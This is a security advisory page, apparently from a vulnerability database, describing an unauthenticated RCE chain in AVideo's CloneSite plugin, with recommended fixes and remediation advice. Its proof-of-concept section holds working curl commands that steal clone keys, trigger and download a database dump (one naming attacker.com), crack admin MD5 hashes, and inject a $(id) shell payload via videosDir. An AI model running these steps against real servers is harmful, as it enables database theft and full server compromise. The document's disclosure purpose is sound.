GHSA-687q-32c6-8x68
GHSA-gv9p-wq55-477w
GHSA-p747-qc5p-773r
GHSA-wc83-79hj-hpmq
GHSA-xggw-g9pm-9qhh
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.
Details
Step 1: Clone Key Disclosure
plugin/CloneSite/clones.json.php:1-8 has zero authentication:
<?php
require_once '../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';
header('Content-Type: application/json');
$rows = Clones::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.
Step 2: Database Dump via Stolen Key
plugin/CloneSite/cloneServer.json.php:73-97 - once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:
$cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} "
." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile";
exec($cmd . " 2>&1", $output, $return_val);The SQL file path is returned in the JSON response and is downloadable.
Step 3: Admin Credential Extraction
objects/user.php:1798 - passwords are stored as unsalted MD5:
$passEncoded = md5($pass);The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.
Step 4: Command Injection via Rsync
plugin/CloneSite/cloneClient.json.php:259 - the videosDir from the clone server response is interpolated unsanitized into the rsync command:
$rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...";
exec($cmd . " 2>&1", $output, $return_val);An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.
PoC
# Step 1: Steal clone keys (unauthenticated)
curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'
# Output: "a1b2c3d4e5f6..."
# Step 2: Trigger database dump
CLONE_KEY="a1b2c3d4e5f6..."
curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \
--data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0" | jq '.sqlFile'
# Output: "Clone_mysqlDump_1234567890.sql"
# Step 3: Download the dump and extract admin credentials
curl -s "http://target/videos/clones/Clone_mysqlDump_1234567890.sql" \
| grep -A2 "INSERT INTO.*users" \
| grep -oP "admin','[a-f0-9]{32}"
# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
# Step 4: Crack MD5 (trivial)
echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt
# Output: password
# Step 5: Login as admin, configure CloneSite with malicious server
# The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned)
# When rsync executes, the $(id) is evaluated by the shellImpact
- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user
- Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated
- No user interaction: Every step is automated, no clicks or social engineering required
- Credential theft: All user passwords (MD5) are trivially recoverable
- Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems
Recommended Fix
- Add authentication to
clones.json.php:
// plugin/CloneSite/clones.json.php
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
http_response_code(403);
die(json_encode(['error' => true, 'msg' => 'Admin required']));
}- Don't store SQL dumps in web-accessible directories - use a path outside the web root or require re-authentication to download.
- Upgrade password hashing - replace MD5 with
password_hash()(bcrypt/argon2):
// Replace: $passEncoded = md5($pass);
$passEncoded = password_hash($pass, PASSWORD_DEFAULT);- Sanitize rsync command parameters - use
escapeshellarg()on all interpolated values:
$rsync = sprintf("rsync -av ... %s@%s:%s ...",
escapeshellarg($objClone->cloneSiteSSHUser),
escapeshellarg($objClone->cloneSiteSSHIP),
escapeshellarg($json->videosDir)
);AnalysisAI
A critical authentication bypass and command injection vulnerability chain in AVideo's CloneSite plugin allows completely unauthenticated remote attackers to achieve full system compromise. The vulnerability affects AVideo installations with the CloneSite plugin enabled, allowing attackers to steal clone authentication keys, dump the entire database including MD5-hashed admin credentials, crack those credentials trivially, and finally execute arbitrary system commands via an rsync command injection. A detailed proof-of-concept demonstrating the complete attack chain is publicly available in the GitHub security advisory, making this an immediate exploitation risk.
Technical ContextAI
AVideo is a PHP-based open-source video platform available via Composer (pkg:composer/avideo_avideo). The vulnerability stems from multiple security flaws in the CloneSite plugin: missing authentication checks (CWE-306) on sensitive endpoints, improper command neutralization (CWE-78) in shell command construction, and the use of cryptographically weak MD5 hashing for password storage (CWE-327). The root cause classified as CWE-78 (OS Command Injection) represents the final exploitation primitive, where user-controlled input from the videosDir field is interpolated directly into an rsync command executed via PHP's exec() function without proper sanitization using escapeshellarg(). The authentication bypass in clones.json.php exposes sensitive clone keys with zero access control, while cloneServer.json.php's database dump functionality writes mysqldump output to web-accessible directories, enabling trivial data exfiltration.
RemediationAI
Immediately apply patches referenced in the GitHub security advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-687q-32c6-8x68 or upgrade to a patched version of AVideo once available from the official repository at https://github.com/WWBN/AVideo. If immediate patching is not feasible, disable the CloneSite plugin entirely until remediation is completed, as the vulnerability chain requires this plugin to be active. As a defense-in-depth measure, implement web application firewall rules to block unauthenticated access to the plugin/CloneSite/ directory path and restrict access to the /videos/clones/ directory where SQL dumps are written. For long-term security posture, force password resets for all users after patching to eliminate compromised MD5 hashes, and consider implementing network segmentation to isolate the AVideo application from critical infrastructure given the potential for lateral movement via exposed database and SSH credentials. Review application logs for requests to clones.json.php, cloneServer.json.php, and unexpected SQL dump file access as indicators of potential compromise.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-78 – OS Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-14175